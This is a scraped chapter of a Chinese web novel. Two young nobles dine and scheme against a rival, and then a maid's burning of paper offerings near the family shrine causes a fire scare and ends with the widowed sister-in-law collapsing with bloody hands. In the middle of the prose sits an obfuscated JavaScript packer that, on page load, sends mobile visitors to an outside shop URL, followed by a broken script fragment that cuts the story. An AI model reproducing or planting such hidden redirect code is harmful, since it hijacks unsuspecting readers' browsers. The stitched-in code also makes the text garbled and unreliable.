文趣网 > 其他小说 > 成为纨绔的命硬寡嫂后 > 30. 救火
    闻晏安在外看戏闲逛了一日,傍晚又约了杜思衡到临近的酒楼用晚饭。

    不过才上了第三道羹汤,闻晏安便打了一个哈欠,有些困了:“吃完饭我便先回去了,今日宴庆楼的戏唱得不好,我强撑着精神将戏听完,也不知道自己听了些什么。早知便不出来了,还比不得躺在家里舒服自在。”

    杜思衡盛了一碗玉米羹递到他面前,又拿帕子擦了擦手,道:“凤鸣楼的戏你看腻了?竟还去其他戏楼尝尝新鲜,真是稀奇。”

    闻晏安白了他一眼:“你还真是哪壶不开提哪壶。若是有人拿那日的事笑话我,那本公子日后还如何在河州抬起头来?”

    杜思衡道:“那日的事,我都让柏石处理好了,没有人会知道。那个姑娘因为乐游的事,受了训斥,外祖家不允她再回河州。而乐游十日前已经离开了河州,往雁州去了,还有谁会张嘴开口?”

    “你是凤鸣楼的大主顾,他们就算知道,又岂敢胡言乱语呢?”

    闻晏安舀了一勺玉米羹,往嘴里送,鼓着腮帮子嚼了嚼道:“怎么不早说,害我白白浪费了一日的功夫。”

    杜思衡耸耸肩:“二公子贵人事多,近日也不出来走动,你不问我,我哪有说的机会?我还以为你经此一事,修身养性,短时间内不想出门玩乐了。”

    “闭嘴。”闻晏安一甩头发,没好气道:“我看最该封嘴的人是你。别打岔,上回你应承的事做得怎么样了?我可是听说,陆聪这几日依旧到四处张扬露面,看来陆通判并不在意黄家秘药的事。这一招离间计行不通,也有你杜思衡算错的时候。”

    杜思衡云淡风轻道:“二公子,如今断定,未免为时过早。陆聪是陆通判唯一的儿子,这么多年父慈子孝,人人皆知,即便有黄家秘药之事,只要一日没亲眼目睹真相,陆通判便不会同陆聪翻脸,为了他的面子,也为了稳固陆聪的地位,总不至于让他的小妾和外人看笑话。”

    “虽说此事没有落到实处,但我相信陆通判心中也已经起疑了,人只要有了疑心,无论是关系如何,暗中已然起了裂痕,这裂痕或深或浅,但日后迟早会有发作的那一日,你何愁等不到?”

    “你的道理总是最多的,我是说不过你。”闻晏安咬咬牙道:“我只是咽不下这口气,看不得他如此逍遥自在,想早日出口恶气罢了。”

    杜思衡问:“那依二公子之见,可有更好的办法?”

    “我若有,还轮得到你在这问吗?”闻晏安瞥了他一眼后又埋头喝玉米羹。

    杜思衡笑了笑:“既如此,二公子先耐心候着,陆聪说到底也是通判之子,用不光彩的方法对付他,怕是会得不偿失。一切听我的,可别一时冲动,偷偷去对付他。”

    闻晏安不屑道:“虽说我咽不下这口气,但我也不是没有脑子。真要私下报复,早便去了,还等得到告诉你。”

    杜思衡点点头:“二公子长大了。”

    闻晏安狐疑看了他一眼,往一旁缩去:“你别装得很老成一般,不过就比我大了两岁,说话的语气倒跟我爹娘一样。”

    “是吗?”杜思衡扬了扬眉,问:“看来在二公子心中,我是个很亲切的人?”

    “少来。”闻晏安扫了他一眼:“你给我的感觉很奇怪,你会替我想法子摆平难事,又像是对我的一切了如指掌。无论我在外的名声有多差,你也从来没有因此疏远中伤我,若不是跟你认识这么多年,我会觉得,你靠近我是别有用心。”

    杜思衡移开视线,径自夹菜道:“二公子是宣平侯的儿子,同二公子打好关系于杜家而言,百利无害。”

    “你的为人如何,我心里清楚,在你的风言风语传开前,我便认识你了。”

    闻晏安哼道:“果然,你同外面的人一样。”

    “二公子,利益共同,关系才能更稳固长久,若无利可图,关系迟早也有疏远的一日。”杜思衡放下筷子,脱口道:“不过,就算……你不是宣平侯府的孩子,我也会站在你这一道的。”

    闻晏安疑惑道:“为什么?”

    杜思衡怔住。

    闻晏安见他迟疑,眼里流露出一丝落寞,随后勉励一笑:“罢了,本公子为人纯良,待人和气,想同我做朋友不奇怪。”

    杜思衡眉头松动,也笑了笑:“是,二公子的优点数不胜数。”

    用过晚饭后,闻晏安便同杜思衡在酒楼门口分别了。

    长顺问:“公子,时候还早,要不要到茶坊歇歇,听听小曲?”

    “算了,出来一天我也累了。”闻晏安靠着车壁,缓缓道:“回家吧。”

    闻晏安眯了一会儿,便听见长顺唤他。

    “公子,到侯府了,若是还困,还是快些回去休息要好。”

    下了马车,头上的灯火晦暗,闻晏安迷迷糊糊揉揉眼,抬头一看,问:“怎么停到这里了?”

    长顺答道:“酒楼沿路一直回来走侧门最快,我见公子还困着,从侧门回玉泉园更快,公子也能少走两步路。”

    主仆二人一路往前走,穿过长廊后,长顺一惊:“公子,你看,祠堂那边好像着火了。”

    “着火,怎么可能,你定是眼花了。”闻晏安抻了抻腰,打了一个哈欠:“这么多人看着,怎么会起火?”

    长顺着急摇了摇他,“公子,是真的,你快看。”

    闻晏安被长顺猛然一晃,果然清醒了不少,扭头去看时,真的看见祠堂那片幽幽升起几缕黑烟。

    直到那股烟味窜入鼻腔,闻晏安才瞬间清醒了,拔腿便往前跑。

    等到二人跑到祠堂门口,已经看见一群护卫小厮提着水桶赶来了。

    闻晏安喊道:“快进去,你们看不见里面起烟了吗?”

    有一个提着水桶的小厮,急得满头大汗,回道:“二公子恕罪,祠堂的大门从里面关上了,外面打不开。奴才们不敢破坏宗祠大门,便想着翻墙进去开门,已经有人去取长梯了。”

    闻晏安怒道:“都什么时候了,还管这门,我去开。”

    话毕,闻晏安冲上前用力一撞,大门还是纹丝不动。他没了办法,蓄力伸脚一蹬,只听得门后传来哐当声,继而门便被踢开了。

    闻晏安提着一桶水,快步流星冲进大门,跑了几步,却听见几声咳嗽。

    再往前走,却见梨花树下扑来一阵黑烟,黑烟里还掩映着一道人影。

    黑烟褪后,闻晏安看清那是一个女子,虽然脸上已经被熏得乌黑了,依稀还是能看清她的眉眼。他没有多想,冲上前用力一把将她拉过来:“你在这里做什么?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17907676|212138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    冬序被人冷不防扯过来,脚下没站稳,连带着扇风的扇子也掉在了地上,等她看清了闻晏安的脸,脸色顿时发白:“二,二公子。”

    “大胆。”闻晏安一把将她甩在地上,头顶已然竖起了一小撮头发,“你想放火烧了我闻家的祠堂?”

    冬序伏地道:“二公子,奴婢不敢。我只是在园中烧些纸钱,不知为什么,这第二箱纸钱入了盆,黑烟便越冒越多了,怎么扇也扇不熄。”

    身后的长顺提着水桶,将铜盆浇熄,那浓烟才弱了一些。

    “冬序,你疯了,谁准你私自在这里烧纸钱的。外面都以为祠堂这边着了火,提着水桶往这边赶,幸好你只是烧纸钱,若是真失了火,你能担起责任吗?”

    冬序吓得浑身发抖,啜泣道:“二公子恕罪,我只是想给大公子烧些纸钱,并非是故意放火,也不是要同侯府的规矩作对。”

    “给我兄长烧纸?”闻晏安的目光骤然发冷,“是她让你烧的?”

    冬序跪在地上,身子颤颤解释道:“二公子,主子思念大公子,依着永州的习俗,想给大公子烧些纸钱,并非是有意闹事。只是怕府里不允,才悄悄过来……”

    闻晏安盯着她,像是在拷问人犯一般:“你既是说同她一起来的,你在外面闹了这么大动静,她却毫不知情?她如今在哪里?”

    冬序从未讲过闻晏安发火,吓得口齿不清:“主,主子正在祠堂里同大公子说话。”

    闻晏安转身摆了摆手,长顺会意,将身后的护卫小厮一并驱离。

    闻晏安向长顺使了个眼色,长顺点点头,站在冬序身侧看着她。

    继而,闻晏安往前走,最终在祠堂门口的石阶停下,他思忖片刻,立刻又抬手将沉重的木门推开。

    门被推开后,烛火扑面,带着一点温温的热意。一张苍白失了血色的脸撞入眼中,一瞬,闻晏安的目光像是被烫过一般。

    他没料到,随予荇便站在门后。

    “是你让冬序到祠堂烧纸的?”

    冷冷的一句质问,并不算客气。闻晏安稳了稳心神,发问后,目光仍锁在她那张脸上。

    苍白如纸的脸色更衬得她瞳仁漆黑,如同浸在水里的一块墨玉,通透漂亮。额上发丝像是打湿一般,凌乱地贴在额前,透着一股淡淡的颓败。那双唇却鲜红无比,像是被血浸过一般,但又干涸得布满裂纹。

    随予荇垂着手,气若游丝答他:“是,我担心夫君过得不好,想给他烧些纸钱。”

    她比他初次见到她时,更为狼狈,难道是知道事情闹大了,想以此博同情,装可怜?

    闻晏安别开脸,道:“既是烧纸,为何要偷偷摸摸?冬序在外面烧纸烧得浓烟滚滚,引得侯府众人以为祠堂失火,都往这里赶了。你却像是丝毫不知一般,你究竟存的是什么心思?”

    “我,我……”随予荇的声音越来越弱,撑在门环上的手指稍稍松了松,整个人便往前倒了。

    见人往前倒来,闻晏安下意识便伸手去扶:“秦云,你怎么了?”

    他伸手托住她的手臂,一只手去扶她的时候,轻轻擦过她的手掌,指尖顿时变得黏腻。

    愣神间,他抬手一看,只见手上点点猩红。

    是血。

    可却不是他的血。